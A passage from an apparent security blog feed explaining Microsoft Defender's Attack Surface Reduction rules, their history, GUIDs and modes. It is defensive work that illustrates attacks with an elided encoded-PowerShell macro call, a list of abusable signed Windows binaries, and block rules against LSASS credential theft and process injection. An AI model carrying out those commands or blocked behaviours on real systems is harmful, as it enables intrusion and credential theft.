</content:encoded><category>windows-security</category><category>edr</category><category>crowdstrike</category><category>kernel-mode</category><category>incident-analysis</category><category>microsoft-virus-initiative</category><category>endpoint-security</category><category>reliability</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>Attack Surface Reduction Rules: The Quiet Layer That Stopped Office Macros</title><link>https://paragmali.com/blog/attack-surface-reduction-rules-the-quiet-layer-that-stopped-/</link><guid isPermaLink="true">https://paragmali.com/blog/attack-surface-reduction-rules-the-quiet-layer-that-stopped-/</guid><description>How Microsoft built a 19-rule, kernel-mediated behaviour block list inside Windows Defender that turned the Emotet macro chain into a one-row, no-ticket telemetry event.</description><pubDate>Tue, 26 May 2026 00:00:00 GMT</pubDate><content:encoded>
**Attack Surface Reduction (ASR) rules are Microsoft&apos;s nineteen-rule, kernel-mediated, free-with-Windows behaviour block list.** Each rule names a single edge in the runtime process / file-system / registry graph -- Office spawning child processes, scripts launching downloaded executables, processes opening LSASS, vulnerable signed drivers being written -- and refuses to let it happen. Shipping since Windows 10 1709 (October 2017) [@ms-security-blog-exploit-guard-2017], the rules killed the cheap end of the Office-macro initial-access chain at the enterprise tier; the Microsoft 365 Apps default block of internet-marked macros (February and July 2022) [@ms-techcommunity-internet-macros-2022] and Europol&apos;s Operation LadyBird (January 2021) [@europol-emotet-disrupted-wayback] finished the era at the consumer tier and the C2 tier respectively. The layer is incomplete by construction -- Cohen-1984 undecidability forbids a complete behaviour catalogue [@cohen-1984-part1] -- but it compresses attacker bypass cost so effectively that the SOC routinely does not triage the blocks. Every rule emits a rule-specific Advanced Hunting `ActionType` such as `AsrOfficeChildProcessBlocked`; the folk-knowledge generic `AsrRuleTriggered` does not exist [@ms-learn-asr-reference].
&lt;h2&gt;1. One Block, No Analyst Ticket&lt;/h2&gt;
&lt;p&gt;At 03:42 on a Tuesday morning in Frankfurt, a finance analyst opens an invoice attached to an email that looks like one she has answered fifty times before. The document&apos;s &lt;code&gt;Document_Open&lt;/code&gt; macro fires, the VBA calls &lt;code&gt;Shell(&quot;powershell.exe -enc ...&quot;)&lt;/code&gt;, and nothing happens. No PowerShell window. No second-stage download. No banking-trojan loader. No ransom note three weeks later. The only artefact is one row in Microsoft Defender for Endpoint&apos;s &lt;code&gt;DeviceEvents&lt;/code&gt; table, with &lt;code&gt;ActionType&lt;/code&gt; equal to &lt;code&gt;AsrOfficeChildProcessBlocked&lt;/code&gt;, that no analyst will triage because there is nothing left to triage [@ms-learn-asr-reference].&lt;/p&gt;
&lt;p&gt;That row, and the silence around it, is the entire subject of this article.&lt;/p&gt;
&lt;p&gt;To understand why nothing happened, watch the call in slow motion. &lt;code&gt;WINWORD.EXE&lt;/code&gt; is a long-running user-mode process. The macro&apos;s process-creation call crosses the syscall boundary into the kernel&apos;s process-management subsystem, where &lt;a href=&quot;https://paragmali.com/blog/the-defenders-dilemma-microsoft-antivirus/&quot; rel=&quot;noopener&quot;&gt;Microsoft Defender Antivirus&lt;/a&gt; has registered a process-creation notify routine. Defender&apos;s kernel-mode driver &lt;code&gt;WdFilter.sys&lt;/code&gt; -- registered with the Windows Filter Manager as a file-system minifilter AND with the kernel&apos;s process subsystem via &lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt; -- intercepts the event through its process-creation notify routine before the new process runs and hands it to the user-mode antivirus engine &lt;code&gt;MsMpEng.exe&lt;/code&gt;. (Section 5 walks the kernel/user-mode split in full.) &lt;code&gt;MsMpEng.exe&lt;/code&gt; evaluates the rule with GUID &lt;code&gt;D4F940AB-401B-4EFC-AADC-AD5F3C50688A&lt;/code&gt; -- &quot;Block all Office applications from creating child processes&quot; [@ms-learn-asr-reference]. The predicate evaluates true. The rule is set to Block. The minifilter fails the operation. The macro gets a non-zero error from its process-creation call. The spawn never happens.&lt;/p&gt;

A fixed catalogue of behavioural blocks shipped as a feature of Microsoft Defender Antivirus on Windows 10 1709 and later, Windows 11, and supported Windows Server editions. Each rule names a specific runtime behaviour -- &quot;Office applications creating child processes,&quot; &quot;credential stealing from the Windows local security authority subsystem,&quot; &quot;abuse of exploited vulnerable signed drivers&quot; -- and can be enabled in Audit, Warn, or Block mode through Microsoft Intune, Microsoft Configuration Manager, Group Policy, PowerShell, or the Defender for Endpoint portal. As of May 2026 the catalogue contains nineteen rules: three Standard protection rules and sixteen Other ASR rules [@ms-learn-asr-reference].
&lt;p&gt;Notice what the rule did not do. It did not classify the binary. Both &lt;code&gt;WINWORD.EXE&lt;/code&gt; and &lt;code&gt;powershell.exe&lt;/code&gt; are signed by Microsoft. Both have multi-decade Authenticode reputation. Both have appeared on every reasonable allow-list since Windows 7. A signature engine, asked &quot;is the macro malicious,&quot; would have had to read the macro&apos;s bytes, normalise its obfuscation, and decide whether the sequence of Office object-model calls plus a base64 blob constitutes hostile intent. That decision is hard in the easy cases and undecidable in general. The rule sidestepped the whole question. It classified the &lt;strong&gt;edge&lt;/strong&gt; between two perfectly legitimate signed binaries: &lt;code&gt;WINWORD.EXE&lt;/code&gt; becoming the parent of &lt;code&gt;powershell.exe&lt;/code&gt;. The bytes are not the predicate. The parent-child relationship is.&lt;/p&gt;
&lt;p&gt;The folklore that &quot;every ASR block emits &lt;code&gt;ActionType == &apos;AsrRuleTriggered&apos;&lt;/code&gt;&quot; survives in vendor playbooks and Stack Overflow answers but does not match Microsoft Learn&apos;s current rules reference, which enumerates a rule-specific &lt;code&gt;Asr&amp;lt;RuleName&amp;gt;Audited&lt;/code&gt; and &lt;code&gt;Asr&amp;lt;RuleName&amp;gt;Blocked&lt;/code&gt; pair for every rule except the server-only Webshell rule. The canonical Advanced Hunting filter is &lt;code&gt;where ActionType startswith &quot;Asr&quot;&lt;/code&gt;, not equality against a generic value [@ms-learn-asr-reference].&lt;/p&gt;
&lt;p&gt;The Frankfurt analyst&apos;s hypothetical Tuesday is one of millions. Defender Antivirus ships on every supported edition of Windows [@ms-learn-asr-reference]. The Office-child-process rule has been blockable since October 2017 [@ms-security-blog-exploit-guard-2017]. It is not the only ASR rule, and ASR is not the only layer that ended the Emotet macro era. Europol&apos;s January 27, 2021 takedown and the Microsoft 365 Apps default block of internet macros in February and July 2022 share the credit. But ASR is the layer with the deepest enforcement substrate (a kernel-mode minifilter), the fullest behavioural catalogue (nineteen rules naming specific runtime edges), and the simplest mental model for a defender: name a behaviour, ship an enforcement edge, audit, then block.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Signature engines classify nodes (is this binary malicious?). AppLocker classifies identities (is this binary on the allow-list?). ASR classifies edges in the runtime graph (did this specific parent-child invocation happen?). Section 5 builds the framework. The catalogue in Section 6 reads as nineteen named edges once you see it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The rest of the article walks the ten questions the Frankfurt block raises. If signatures cannot tell us whether the analyst&apos;s macro is malicious -- because both binaries are signed and the static fingerprint of the macro changes every campaign -- how exactly did one row in &lt;code&gt;DeviceEvents&lt;/code&gt; know to fire? What does the kernel see that the signature engine does not? Why did three predecessor paradigms (signatures, AppLocker, EMET) fail to close this specific gap, and what made October 2017 the moment Microsoft decided to ship a behaviour catalogue instead of a better classifier? Section 2 starts with the empirical signal that forced the shift.&lt;/p&gt;
&lt;h2&gt;2. Why Signatures Stopped Being Enough&lt;/h2&gt;
&lt;p&gt;By the time Microsoft published the October 23, 2017 Windows Defender Exploit Guard launch announcement, the team had a single sentence ready for the executive summary: &quot;fileless attacks, which compose over 50% of all threats&quot; [@ms-security-blog-exploit-guard-2017]. That line did two jobs. It justified shipping ASR. It also marked the moment the signature model hit its industrial-scale ceiling.&lt;/p&gt;

Despite advances in antivirus detection capabilities, attackers are continuously adapting ... This emerging trend of fileless attacks, which compose over 50% of all threats, are extremely dangerous, constantly changing, and designed to evade traditional AV. -- Microsoft Threat Intelligence team, October 23, 2017 [@ms-security-blog-exploit-guard-2017]
&lt;p&gt;The 50-percent number is a 2017-vintage Microsoft characterisation, not a peer-reviewed empirical study, but it captures a structural shift that every endpoint-defence vendor had been watching for three years. Three forces had converged.&lt;/p&gt;
&lt;p&gt;First, mature crypters and packers had defeated static signatures. The classic AV pipeline -- compute a hash, match against a corpus of known-bad hashes -- assumed attackers shipped a small number of stable binaries. By 2017 the typical commodity malware family rebuilt its payload on every campaign, layered three encryption stages, and emerged as a polymorphic blob whose static fingerprint changed faster than the signature feed. Fred Cohen had warned in 1984 that any complete malicious-program detector reduces to the Halting Problem [@cohen-1984-part1]; commodity packers were the industrial-scale form of that result.&lt;/p&gt;
&lt;p&gt;Second, attackers had moved off custom binaries entirely. The Living-Off-the-Land Binaries, Scripts, and Libraries project -- LOLBAS -- catalogues over two hundred Microsoft-signed Windows binaries that attackers use to execute malicious behaviour without dropping any malware artefact on disk [@lolbas-project]. &lt;code&gt;powershell.exe&lt;/code&gt;, &lt;code&gt;cmd.exe&lt;/code&gt;, &lt;code&gt;wscript.exe&lt;/code&gt;, &lt;code&gt;mshta.exe&lt;/code&gt;, &lt;code&gt;regsvr32.exe&lt;/code&gt;, &lt;code&gt;rundll32.exe&lt;/code&gt;, &lt;code&gt;cmstp.exe&lt;/code&gt;, &lt;code&gt;msdt.exe&lt;/code&gt;, &lt;code&gt;msbuild.exe&lt;/code&gt;, &lt;code&gt;installutil.exe&lt;/code&gt; -- all signed by Microsoft, all on every reasonable allow-list, all capable of executing arbitrary code given the right command line. The on-disk artefact is benign; the malice lives in the runtime edge between two signed binaries.&lt;/p&gt;

A signed Microsoft Windows binary that attackers use to execute malicious behaviour while staying off identity-based allow-lists. The LOLBAS Project enumerates over two hundred such binaries together with the abuse classes each enables and the MITRE ATT&amp;amp;CK techniques each maps to [@lolbas-project].
&lt;p&gt;Third, Office macros had become the dominant initial-access vector. Emotet first appeared as a banking trojan in June 2014; by 2017 it had transformed into a crime-as-a-service loader platform that delivered TrickBot, Dridex, IcedID, and eventually Conti and Ryuk to its access buyers [@welivesecurity-emotet-pivot-2022]. The delivery vehicle barely changed across that pivot: a Word or Excel document, a Visual Basic for Applications macro, a call into &lt;code&gt;Shell&lt;/code&gt;, &lt;code&gt;WScript.Shell.Run&lt;/code&gt;, or the Windows Management Instrumentation provider to spawn the next stage. The malice was never inside &lt;code&gt;WINWORD.EXE&lt;/code&gt;. The malice was in the edge that connected &lt;code&gt;WINWORD.EXE&lt;/code&gt; to whichever signed Microsoft binary the operator decided to spawn.&lt;/p&gt;

The NTFS alternate data stream `Zone.Identifier` written by browsers, mail clients, and archive extractors to flag a file as originating from outside the local machine. Office uses the MOTW to drop a downloaded document into Protected View; the February 2022 Microsoft 365 Apps internet-macro default block treats the MOTW as the trigger to remove the &quot;Enable Content&quot; button entirely [@ms-learn-internet-macros-blocked].
&lt;p&gt;The pre-2017 defence stack covered slices of this problem, but no layer covered the specific behaviour class &quot;an Office application creates a child process.&quot; AV signatures and heuristics scored the binaries; both were signed Microsoft binaries. AppLocker (2009) decided whether a binary was allowed to run; both were on the allow-list. EMET (2009) blocked memory-corruption exploit primitives; the macro chain involved no memory corruption. Reputation-based file blocking covered downloaded payloads; the payload was a base64 string passed on the PowerShell command line, never written to disk. Each layer answered a different question. None answered the question the macro chain raised.&lt;/p&gt;
&lt;p&gt;The strategic shift Microsoft eventually made was small in the framing and enormous in the consequences. Instead of asking &quot;is this binary malicious?&quot; -- a question undecidable in general -- the next layer would ask &quot;did the suspicious behaviour happen?&quot; The new question is decidable per event at the OS interception layer, because the kernel sees every process-creation call, every image load, every file write, every registry set. Edge classification does not require static analysis; it requires only that the kernel be wired to ask one extra predicate before completing the operation.&lt;/p&gt;
&lt;p&gt;The named author at the bottom of the 2017 launch post body (fetched 2026-05-26) is &lt;strong&gt;Misha Kutsovsky (@mkutsovsky), Program Manager, Windows Active Defense&lt;/strong&gt;. The top-of-page byline and &lt;code&gt;&amp;lt;meta name=&quot;author&quot;&amp;gt;&lt;/code&gt; tag have since been consolidated under the &quot;Microsoft Threat Intelligence&quot; institutional account during Microsoft&apos;s 2022-2025 re-platforming of older Security Blog posts; the in-body attribution is unchanged. This article cites the institutional author as it appears in the page head; the named person at the bottom of the body is Kutsovsky [@ms-security-blog-exploit-guard-2017].&lt;/p&gt;
&lt;p&gt;One taxonomy point deserves its own paragraph, because confusion about it shapes most beginner questions about ASR. &lt;strong&gt;Microsoft Defender Antivirus&lt;/strong&gt; is the on-host scanning engine that ships free with every Windows edition. &lt;strong&gt;Microsoft Defender for Endpoint (MDE)&lt;/strong&gt; is the cloud-managed EDR layer Microsoft sells on top. ASR rules live inside Defender Antivirus. They run whether or not the device is enrolled in MDE. MDE adds management, telemetry ingestion through the &lt;code&gt;DeviceEvents&lt;/code&gt; table, and Advanced Hunting; it does not add the enforcement. The Frankfurt block fires in Defender Antivirus; the &lt;code&gt;DeviceEvents&lt;/code&gt; row only reaches MDE if MDE is connected. The EDR-in-block-mode page is explicit on the dependency: ASR rules run only when Defender Antivirus is in Active mode, never when a third-party AV is primary and Defender is passive [@ms-learn-edr-in-block-mode].&lt;/p&gt;
&lt;p&gt;By 2014-2015 the Microsoft Defender team had identified the problem. They did not invent the answer from scratch. They inherited a Windows defence stack that had been trying to solve the same problem for sixteen years, in three earlier paradigms. What were they, and why did none of them stop Emotet?&lt;/p&gt;
&lt;h2&gt;3. AppLocker, EMET, and What They Could Not Do&lt;/h2&gt;
&lt;p&gt;Three predecessor paradigms. Three different failures. Three different lessons that Microsoft eventually folded into the design of ASR.&lt;/p&gt;
&lt;h3&gt;AppLocker (2009, Windows 7)&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/&quot; rel=&quot;noopener&quot;&gt;AppLocker&lt;/a&gt; was the identity-based answer to the question &quot;which binaries are allowed to run on this endpoint?&quot; Administrators write rules that allow or deny executable code by publisher, by path, or by file hash; the kernel enforces the policy at process-creation time. Microsoft Learn still describes AppLocker as the Windows 7-era predecessor to App Control for Business, and the design has not changed structurally in the intervening sixteen years [@ms-learn-applocker]. AppLocker is genuinely stricter than ASR on the identity axis. A well-tuned AppLocker policy on a hardened endpoint enforces default-deny: only allowed publishers, only allowed paths, only allowed hashes ever execute.&lt;/p&gt;
&lt;p&gt;AppLocker has two practical weaknesses and one structural one. The first practical weakness is brittleness against signed LOLBins: &lt;code&gt;powershell.exe&lt;/code&gt;, &lt;code&gt;cmd.exe&lt;/code&gt;, &lt;code&gt;wscript.exe&lt;/code&gt;, &lt;code&gt;mshta.exe&lt;/code&gt;, &lt;code&gt;regsvr32.exe&lt;/code&gt;, &lt;code&gt;rundll32.exe&lt;/code&gt;, &lt;code&gt;cmstp.exe&lt;/code&gt;, &lt;code&gt;msdt.exe&lt;/code&gt;, &lt;code&gt;msbuild.exe&lt;/code&gt;, &lt;code&gt;installutil.exe&lt;/code&gt; are all on every reasonable AppLocker allow-list because every legitimate IT-automation pipeline depends on them [@lolbas-project]. The second is admin-deployment overhead: every new line-of-business application needs an explicit rule addition, large estates fall back to Audit mode permanently, and exception sprawl turns the policy into a sieve.&lt;/p&gt;
&lt;p&gt;The structural weakness is the one that matters here. The AppLocker rule grammar has no slot for &quot;&lt;code&gt;WINWORD.EXE&lt;/code&gt; may run, but it may not be the parent of &lt;code&gt;cmd.exe&lt;/code&gt;.&quot; That sentence is a property of an edge in the runtime graph, and the AppLocker schema models nodes, not edges.&lt;/p&gt;
&lt;h3&gt;EMET (2009-2018)&lt;/h3&gt;
&lt;p&gt;The Enhanced Mitigation Experience Toolkit was Microsoft&apos;s per-process opt-in exploit-time mitigation framework. Data Execution Prevention, Address Space Layout Randomization, Structured Exception Handler Overwrite Protection, the Export Address Table Access Filter, anti-Return-Oriented-Programming heuristics, caller-checks, heap-spray pre-allocation -- EMET stitched the menu together for any process the administrator opted in. EMET stopped buffer overflows from achieving code execution. It made the cheap exploit-development pipeline visibly more expensive.&lt;/p&gt;
&lt;p&gt;EMET did not stop the Emotet macro chain. The chain involved no memory corruption. The chain was a legitimately loaded, uncorrupted, signed Office application making a perfectly ordinary user-mode parent-child process-creation call. There was no exploit primitive to mitigate. The 2017 Exploit Guard launch announcement said the same in cleaner language: &lt;a href=&quot;https://paragmali.com/blog/process-mitigation-policies-cfg-acg-cig-and-the-layer-betwee/&quot; rel=&quot;noopener&quot;&gt;Exploit Protection&lt;/a&gt; (the Windows-integrated pillar that absorbed EMET&apos;s mitigations) and Attack Surface Reduction (the new pillar) cover different gaps, because exploit-time mitigations and post-exploit behaviour blocks address different attacker stages [@ms-security-blog-exploit-guard-2017]. EMET reached end-of-life on July 31, 2018 per the Microsoft product lifecycle page [@ms-lifecycle-emet]; its mitigations live on under different names in the Exploit Protection panel of Windows Security.&lt;/p&gt;
&lt;h3&gt;Signature and heuristic AV&lt;/h3&gt;
&lt;p&gt;The third predecessor is the one Cohen&apos;s 1984 paper had already analysed. Signature and heuristic AV classify nodes, which is to say they answer &quot;is this binary, considered as a sequence of bytes, malicious?&quot; Cohen proved that the general form of that question reduces to the Halting Problem. The verbatim sentence from his open-access archive is the cleanest one-line statement of the result [@cohen-1984-part1]:&lt;/p&gt;

The classical result, established in Fred Cohen&apos;s 1984 paper &quot;Computer Viruses: Theory and Experiments&quot; (presented at the 7th DoD/NBS Computer Security Conference and reprinted in Computers and Security 6(1):22-35 in January 1987), that detection of arbitrary viral behaviour in a program reduces to the Halting Problem. The diagonal construction assumes a decider `D(P)` for viral behaviour; constructs a program `V` that calls `D(V)` and behaves virally iff `D(V) = 0`; derives a contradiction. The corollary -- any non-trivial semantic property of programs is undecidable -- is the Rice-1953 generalisation [@cohen-1984-part1].
&lt;p&gt;The practical version of the ceiling for the Emotet case is that a signature engine cannot, in general, distinguish a Word macro that legitimately spawns &lt;code&gt;cmd.exe&lt;/code&gt; to run an IT-automation script from a Word macro that spawns &lt;code&gt;cmd.exe&lt;/code&gt; to launch the Emotet stage-two PowerShell stub. Both call the same Win32 API. Both pass argument strings the engine cannot prove are malicious without modelling the operator&apos;s intent. The fingerprint of the malice is not in the binaries; it is in the runtime relationship between them.&lt;/p&gt;

The three paradigms -- signature, identity, edge -- are not redundant. Modern defence-in-depth runs all three because each closes a different attacker option. Signatures detect known-bad binaries cheaply; identity controls restrict which binaries may run at all; edge classification refuses specific behavioural relationships among allowed binaries. AppLocker without ASR lets `WINWORD` spawn PowerShell. ASR without AppLocker permits any unsigned binary to ship with the next campaign. Neither alone covers the gap. Section 7 makes the layering explicit as a comparison matrix.
&lt;p&gt;The three together demonstrate that the Windows endpoint defence stack of 2017 was structurally node-classifying or identity-classifying, with no layer modelling the runtime edge. The strategic gap is the slot ASR was designed to fill.&lt;/p&gt;
&lt;p&gt;On October 17, 2017, Microsoft shipped Windows 10 Fall Creators Update (build 1709) [@windows-blog-fall-creators-update-2017]. Six days later, the Microsoft Security Blog named the new pillar: Attack Surface Reduction [@ms-security-blog-exploit-guard-2017]. What did the first eight rules do, and how did they finally model the edge that AppLocker, EMET, and signatures could not?&lt;/p&gt;
&lt;h2&gt;4. The Evolution, Generation by Generation&lt;/h2&gt;
&lt;p&gt;October 23, 2017. The Microsoft Security Blog publishes &quot;Windows Defender Exploit Guard: Reduce the attack surface against next-generation malware&quot; [@ms-security-blog-exploit-guard-2017]. The post names four pillars: Attack Surface Reduction, Network Protection, Controlled Folder Access, and Exploit Protection. The first pillar ships with eight rules. Nine years later the catalogue is nineteen rules wide. Each generation closed a specific attacker behaviour; each generation produced a published bypass within months.&lt;/p&gt;

flowchart TD
    G1[&quot;Gen 1 - Oct 2017 (1709) - 8 Office, script, email rules&quot;]
    G2[&quot;Gen 2 - 2018-2019 (1803-1903) - LSASS, PSExec/WMI, prevalence, Adobe, WMI persistence&quot;]
    G3[&quot;Gen 3 - Apr 2020 - Warn mode added, platform 4.18.2008.9&quot;]
    G4a[&quot;Gen 4a - Dec 2021 / 2022 - BYOVD rule, Vulnerable Driver Reporting Center&quot;]
    G4b[&quot;Gen 4b - Feb/Jul 2022 - Parallel layer, M365 Apps internet-macro default block&quot;]
    G5[&quot;Gen 5 - 2023-2026 - Standard protection partition, Webshell, Safe Mode reboot, copied tools, USB, Outlook child-process rules&quot;]
    G1 --&amp;gt; G2 --&amp;gt; G3 --&amp;gt; G4a --&amp;gt; G4b --&amp;gt; G5
&lt;h3&gt;Generation 1, October 2017 -- the eight launch rules&lt;/h3&gt;
&lt;p&gt;The launch rules, as listed verbatim in the 2017 announcement, are the Office-macro response pack [@ms-security-blog-exploit-guard-2017]:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Block Office applications from creating executable content&lt;/li&gt;
&lt;li&gt;Block Office applications from launching child processes&lt;/li&gt;
&lt;li&gt;Block Office applications from injecting into other processes&lt;/li&gt;
&lt;li&gt;Block Win32 imports from macro code in Office&lt;/li&gt;
&lt;li&gt;Block obfuscated macro code (and other obfuscated scripts, AMSI-backed)&lt;/li&gt;
&lt;li&gt;Block JavaScript or VBScript from launching downloaded executable content&lt;/li&gt;
&lt;li&gt;Block execution of executable content dropped from email or webmail&lt;/li&gt;
&lt;li&gt;Block malicious JavaScript and VBScript scripts (AMSI-backed)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;None of these rules solves a node-classification problem. Each rule names a single edge in the runtime process / file-system / registry graph and refuses to let it happen. &quot;Block Office applications from creating child processes&quot; is not &quot;is &lt;code&gt;WINWORD.EXE&lt;/code&gt; malicious?&quot; but &quot;did &lt;code&gt;WINWORD.EXE&lt;/code&gt; just try to be the parent of another process?&quot; The kernel answers the question with one comparison against the parent image path.&lt;/p&gt;
&lt;h3&gt;Generation 2, 2018-2019 -- credential theft, lateral movement, persistence&lt;/h3&gt;
&lt;p&gt;Between Windows 10 1803 (April 2018) and 1903 (May 2019) the catalogue expanded beyond Office to the rest of the attacker intrusion chain. Six new rules with their GUIDs, from the Microsoft Learn rules reference [@ms-learn-asr-reference]:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Block credential stealing from the Windows local security authority subsystem&lt;/strong&gt; -- &lt;code&gt;9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2&lt;/code&gt; -- introduced 1803. The &lt;a href=&quot;https://paragmali.com/blog/protected-process-light-when-the-administrator-isnt-enough/&quot; rel=&quot;noopener&quot;&gt;Mimikatz&lt;/a&gt; response: refuse process handles to &lt;code&gt;lsass.exe&lt;/code&gt; with rights sufficient to read its address space.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Block executable files from running unless they meet a prevalence, age, or trusted list criterion&lt;/strong&gt; -- &lt;code&gt;01443614-cd74-433a-b99e-2ecdc07bfc25&lt;/code&gt; -- 1803. The unique-binary-per-campaign response, leaning on cloud-protection (MAPS) reputation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Block process creations originating from PSExec and WMI commands&lt;/strong&gt; -- &lt;code&gt;d1e49aac-8f56-4280-b9ba-993a6d77406c&lt;/code&gt; -- 1803. The Emotet lateral-movement response.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use advanced protection against ransomware&lt;/strong&gt; -- &lt;code&gt;c1db55ab-c21a-4637-bb3f-a12568109d35&lt;/code&gt; -- 1803. The mass-encryption-detection response, also cloud-protection-dependent.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Block Adobe Reader from creating child processes&lt;/strong&gt; -- &lt;code&gt;7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c&lt;/code&gt; -- 1809. The PDF-exploit-spawning-payload response.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Block persistence through WMI event subscription&lt;/strong&gt; -- &lt;code&gt;e6db77e5-3df2-4cf1-b95a-636979351e5b&lt;/code&gt; -- 1903. The APT29 / Cobalt Strike &lt;code&gt;__FilterToConsumerBinding&lt;/code&gt; response.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each rule is a direct response to a specific attacker move. The LSASS rule answers Mimikatz. The PSExec/WMI rule answers Emotet&apos;s lateral movement. The WMI persistence rule answers permanent-implant techniques that survive reboot through the WMI repository.&lt;/p&gt;
&lt;p&gt;The PSExec/WMI rule (&lt;code&gt;d1e49aac-...&lt;/code&gt;) is the textbook example of an ASR rule with high enterprise friction. Microsoft Configuration Manager (formerly SCCM) relies heavily on WMI; Microsoft Learn&apos;s overview page explicitly tells administrators not to set this rule to Block or Warn without extensive Audit-mode testing if Configuration Manager manages the device, &quot;because the Configuration Manager client relies heavily on WMI&quot; [@ms-learn-asr-overview]. Most large estates therefore run this rule in Audit indefinitely.&lt;/p&gt;
&lt;h3&gt;Generation 3, April 2020 -- Warn mode&lt;/h3&gt;
&lt;p&gt;Until 2020, the only choices for an ASR rule were Audit (logs only) and Block (the operation fails). The middle ground was a productivity problem: a power user whose legitimate IT-automation macro was being blocked had no recourse short of a help-desk ticket. The Microsoft Defender team&apos;s &quot;Demystifying attack surface reduction rules - Part 1&quot; Tech Community post, modified time April 22, 2020, announced the third mode -- Warn -- with a user-facing block dialog and a 24-hour per-user per-rule per-app exclusion cache [@techcommunity-demystifying-asr-part1].&lt;/p&gt;
&lt;p&gt;Two precision facts deserve to be stated cleanly, because both contradict secondary-source folklore.&lt;/p&gt;
&lt;p&gt;First, the platform prerequisite for Warn mode is Microsoft Defender Antivirus platform release &lt;strong&gt;4.18.2008.9 (August 2020) or later, engine release 1.1.17400.5 or later&lt;/strong&gt; [@ms-learn-asr-overview]. The older secondary-blog claim of &quot;4.18.2001.10 / January 2020&quot; is contradicted by Microsoft Learn&apos;s current canonical page and should not be repeated.&lt;/p&gt;
&lt;p&gt;Second, exactly &lt;strong&gt;two&lt;/strong&gt; ASR rules deliberately skip Warn mode and go straight from Audit to Block, not five. Microsoft Learn&apos;s overview page lists them verbatim: &quot;Block credential stealing from the Windows local security authority subsystem&quot; and &quot;Block Office applications from injecting code into other processes&quot; [@ms-learn-asr-overview]. The folklore that lists five no-Warn rules (sometimes including the Webshell rule, the Safe Mode reboot rule, and the copied-tools rule) is wrong. The rules reference page enumerates Warn-mode bypass &lt;code&gt;ActionType&lt;/code&gt; variants for the Safe Mode reboot rule (&lt;code&gt;AsrSafeModeRebootWarnBypassed&lt;/code&gt;) and the copied-tools rule (&lt;code&gt;AsrAbusedSystemToolWarnBypassed&lt;/code&gt;) -- direct byte-level proof that those rules do support Warn [@ms-learn-asr-reference].&lt;/p&gt;

flowchart LR
    A[&quot;Audit - Log only, no enforcement&quot;] --&amp;gt; W[&quot;Warn - User can bypass for 24h&quot;]
    W --&amp;gt; B[&quot;Block - Operation fails&quot;]
    A2[&quot;LSASS rule and Office injection rule&quot;] --&amp;gt; A
    A2 --&amp;gt; B
&lt;p&gt;The reason these two rules skip Warn is structural, not cosmetic. A low-privilege user cannot meaningfully consent to a process opening LSASS memory; the consent dialog would itself be a credential-theft enabler. Likewise, a non-admin user cannot rationally decide whether &lt;code&gt;WINWORD.EXE&lt;/code&gt; should be allowed to inject shellcode into &lt;code&gt;explorer.exe&lt;/code&gt;; the request encodes its own malice. The remaining sixteen rules support the full Audit, Warn, Block ladder.&lt;/p&gt;
&lt;h3&gt;Generation 4a, December 2021 -- the BYOVD rule&lt;/h3&gt;
&lt;p&gt;The 2020-2022 era brought a new attacker move into mainstream incident response: Bring Your Own Vulnerable Driver, or BYOVD. The attacker imports a legitimate, signed, but vulnerable kernel driver, exploits its bug to gain kernel-mode primitives, uses those primitives to disable EDR and antivirus monitoring, and proceeds.&lt;/p&gt;
&lt;p&gt;The 2021 motivating events made the threat unambiguous. Lazarus&apos;s autumn-2021 abuse of CVE-2021-21551 (Dell &lt;code&gt;dbutil_2_3.sys&lt;/code&gt;) was the first recorded in-the-wild abuse of that driver, disclosed by ESET on September 30, 2022 [@welivesecurity-lazarus-byovd-2022] [@nvd-cve-2021-21551]. BlackByte&apos;s October 2022 abuse of CVE-2019-16098 (MSI Afterburner &lt;code&gt;RTCore64.sys&lt;/code&gt;) was documented by Sophos with one of the year&apos;s defining lines: &quot;disabling a whopping list of over 1,000 drivers on which security products rely to provide protection&quot; [@sophos-blackbyte-returns-2022] [@nvd-cve-2019-16098].&lt;/p&gt;

An attack pattern in which the operator imports a signed but exploitable kernel driver into the victim environment, exploits a known driver vulnerability to obtain kernel-mode primitives (typically arbitrary memory read or write), and uses those primitives to disable security telemetry. CVE-2021-21551 (Dell DBUtil) and CVE-2019-16098 (MSI Afterburner) are the canonical examples; the Sophos write-up of BlackByte&apos;s RTCore64.sys abuse documents disabling roughly one thousand security-product drivers [@nvd-cve-2021-21551] [@nvd-cve-2019-16098] [@sophos-blackbyte-returns-2022].
&lt;p&gt;Microsoft launched the Vulnerable and Malicious Driver Reporting Center on December 8, 2021, explicitly naming the new ASR rule as the enforcement layer alongside the kernel-load-time &lt;a href=&quot;https://paragmali.com/blog/windows-kernel-code-integrity-2006-2026/&quot; rel=&quot;noopener&quot;&gt;Vulnerable Driver Blocklist&lt;/a&gt; [@ms-security-blog-vulnerable-driver-center]. The ASR rule is &quot;Block abuse of exploited vulnerable signed drivers (Device)&quot; -- GUID &lt;code&gt;56a863a9-875e-4185-98a7-b882c64b5ce5&lt;/code&gt; [@ms-learn-asr-reference]. The Windows 11 22H2 release on September 20, 2022 [@windows-blog-windows-11-2022-update] made the Microsoft Vulnerable Driver Blocklist default-on for all devices, which is the kernel-load-time sibling to the ASR write-time block [@ms-learn-driver-block-rules].&lt;/p&gt;
&lt;h3&gt;Generation 4b, February and July 2022 -- the parallel layer&lt;/h3&gt;
&lt;p&gt;This is the generation that deserves the most honest framing in the article, because the marketing version oversimplifies what actually happened to Office macros.&lt;/p&gt;
